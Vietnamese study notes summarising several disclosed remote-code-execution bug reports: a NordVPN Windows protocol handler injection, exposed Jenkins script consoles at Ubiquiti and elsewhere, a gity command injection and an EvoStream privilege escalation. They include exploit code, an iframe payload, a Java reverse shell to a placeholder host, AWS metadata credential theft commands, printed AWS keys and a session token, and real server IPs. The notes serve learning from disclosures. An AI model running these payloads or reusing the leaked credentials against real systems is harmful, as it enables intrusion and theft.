Nord Security - Possible RCE through Windows Custom Protocol on Windows client os-command-injection

NordVPN client ở trên Windows có một custom protocol NordVPN.Notification cho phép giao tiếp với NordVPN.exe thông qua browser (tương tự như cách mà Discord web app mở Discord desktop app). Tuy nhiên, class NordVpn.Views.ToastNotifications.ListenNotificationOpenUrl trong executable sẽ gọi đến hàmProcess.Start với các đối số có thể kiểm soát và class NordVpn.Views.ToastNotifications.ListenNotificationOpenUrl có thể được trigger thông qua custom protocol NordVPN.Notification. Dẫn đến, attacker có thể RCE khi user click vào một link được crafted.

PoC cho việc tạo ra URL:

// Program.cs
using System;
using System.Collections.Generic;
using NordVpn.Core.Tools;
using NordVpn.Core.Models.ToastNotifications.Notifications;
using System.Diagnostics;
 
namespace ExploitApp
{
    class Program
    {
        static void Main(string[] args)
        {
            Dictionary<string, string> arguments = new Dictionary<string, string>();
            arguments["OpenUrl"] = "calc.exe";
            NotificationActionArgs toastArgs = new NotificationActionArgs("", arguments);
            String exploit = ObjectCompressor.CompressObject(toastArgs);
            Console.Write(String.Format("NordVPN.Notification:{0}", exploit));
            Console.ReadKey();
        }
    }
}

Sau đó nhúng URL vào thẻ iframe:

<!-- exploit.html -->
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Exploit</title>
  </head>
  <body>
    <iframe
      src="NordVPN.Notification:UAAAAB+LCAAAAAAABAANy0EKgCAQBdC7/LV0AHdC0K5WHWAQi4FpFB2hkO5eb/8Glpp7gQcc1mx8cCTjrEFJHuPYZjKC1y7iEOrZr6TW4Ae2knSv8tdIEqd0J7zvBy7afohQAAAA"
    ></iframe>
  </body>
</html>

Khi người dùng truy cập link, sẽ có một pop up hiện lên và nếu user chọn “Open NordVPN” thì command sẽ được execute và calc.exe sẽ được mở lên.

Remote Code Execution and AWS IAM Credentials Exfiltration in https://████████/ RCE

Endpoint /jenkins/script cho phép user có thể thực thi lệnh tùy ý ở trên server. Ví dụ, chạy lệnh sau sẽ trả về AWS IAM credentials:

println "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonSSMRoleForInstancesQuickSetup".execute().text

Output:

{
  "Code": "Success",
  "LastUpdated": "2023-07-25T15:06:03Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAVAYADSOPOZ46OKUF",
  "SecretAccessKey": "zktjDluq7fiPeRPZ/Ptdj0f/RpifcpiverrHZPY9",
  "Token": "FwoDYXdzEC4aDOSTrvC1+12bsyz/YCLpBJSWuycc/qloo+gbOS0H0HDHj+qAV6rldadbawPMkpUC2kyF9UW3rayH29j3MQNMDDxoPZTpnWLYuIbBl1iaYciwrOVemd6OTSDTyoAz9JjO1Cc3svhv58rhTx1c+FWpQKxtOgiLPEJWT/sPfdEJDAcLoXfyDi7lLWD5ydyHuKWngG8ZBG/5Ik170XOpYeZpSpJ/pspBNnzbf5dPJo/QVNWN+hoY8+WrK4Hko7y04Z/ZwJWO3Q6DYVM2OSARheKUnih8NrX6pROliySxRzj3fedhz2h95axbt+up+HwvszZv+ksQmZdAOFL4iI8oXWF6RgWz7Mkyot+o+Zk4fKRBZOad0iDg0NjaNvZSOWHCx+Bd55lq/rMmthcYubHgGtLXS8F9cJShYjysU9pDK9M7Hd644KmSVgvRe0pCV4GgwOAqKdSYVQn7A2cBeO4ROL712adCz8wzYDMRavHK8mfeKCd5qAfrd7z7BGIiaIeEYJ52CglOpUFywMnlmPNN1V/Rvih1YX0Ndq0yNso9Rj1FUtiLTWysCkm/YGCK68TILlEX7UaJV3keGpMkpCULsGkcH23RZmp8NjYoIf7okJ28ygVW4GYWF48MWVm96HWDRGJ951x3IOIZBdOhgKrVRQJLUXgVjDwm1QroAyYTRSiLw9YrR5jmN6ONfYnyh06qpl1PUz8C1+iXtRQIjzWjaaHLh2YQERTIo/ejCERtoM/AEjhB6DhdlroSvuPNjD03NPYtxd87vUuG7gsZSYqXOOsU3sYiJra3UrbA9vFR/BmnJcXbxcsWMtCCs9syRp9r+2V3qT6ppN2i5Im9KI/K/6UGMkHbC2LUgZo1VIbWCrN+ePxqijy1CUe9r98gOm9Z2rxKQ+CfKjPJo0nvYc3Z8UmxqKpeG2dtOpW8OYuQZivCMR5ifg==",
  "Expiration": "2023-07-25T21:32:22Z"
}

Hoặc tạo reverse shell:

String host="your_server_ip";
int port=1337;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

RCE via Insecure Command Formatting RCE

Lỗ hổng xảy ra trong thư viện gity (nay là gityup). Thư viện này là một wrapper của Git và nó không sanitize đối số truyền vào hàm commit (hoặc các hàm tương tự):

// poc.js
var Git = require("gity")
 
var git = Git().add("*.js").commit('-m "added js files";touch HACKED;#').run()

Chạy file trên như sau:

npm i gity
node poc.js

PoC:

Public Jenkins Instance with /script Enabled RCE

Attacker tìm được một vài server chạy Jenkins instance mà cho phép sử dụng /script endpoint để thực thi code. Các server này bị public ra ngoài internet và trong SSL cert có một vài wildcard (ban đầu attacker không biết chúng có phải của Ubiquiti hay không):

DNS Name: *.uum.com
DNS Name: *.ubnt.com
DNS Name: *.svc.ubnt.com
DNS Name: *.api.uum.com
DNS Name: *.svc.uum.com
DNS Name: uum.com

Cụ thể hơn, server được tìm thấy là https://54.191.232.223https://54.186.253.37.

Khi thực thi code:

"ls /".execute().text

Kết quả là:

bin
boot
dev
docker-java-home
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

Nó cũng cho phép gửi request đến metadata của AWS:

"curl http://169.254.169.254/latest/meta-data/".execute().texte

Ubiquiti thừa nhận rằng các server này là của họ.

Privilege Escalation From User to SYSTEM via Unauthenticated Command Execution RCE privilege-escalation

Application cho phép thực thi command thông qua API ở localhost:7440. Service này chạy ở quyền SYSTEM và user có thể dùng http://docs.evostream.com/2.0/launchProcess.html để thực thi bất kỳ lệnh nào với các đối số tùy ý. Do chỉ hoạt động ở localhost, service này có thể không bị tấn công nhưng nếu có SSRF thì attacker có thể RCE.

Tip

Ở đây ta thấy dù attacker không khai thác được nhưng impact của nó dựa trên assume rằng có tồn tại một cách nào đó để khai thác.